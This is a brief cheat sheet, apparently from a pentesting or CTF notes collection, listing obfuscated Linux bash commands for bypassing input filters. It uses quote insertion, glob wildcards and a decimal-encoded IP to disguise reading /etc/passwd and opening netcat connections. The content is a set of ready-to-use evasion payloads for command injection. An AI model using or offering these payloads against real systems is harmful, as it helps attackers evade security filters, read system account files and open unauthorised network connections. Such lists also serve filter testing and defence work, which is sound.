Bypassing filters

Linux bash commands:

/bin/cat /etc/passwd
/b'i'n/c'a't /e't'c/p'a's's'w'd'
/???/?'a't /???/????'w'?
/*/??t /???/????w?
/bin/nc 127.0.0.1 80
/b'i'n/'n'c 127.0.0.1 80
/?'i'?/'n'? 2130706433 80
/*/n? 2130706433 80
ls /bin/*
echo /b??/*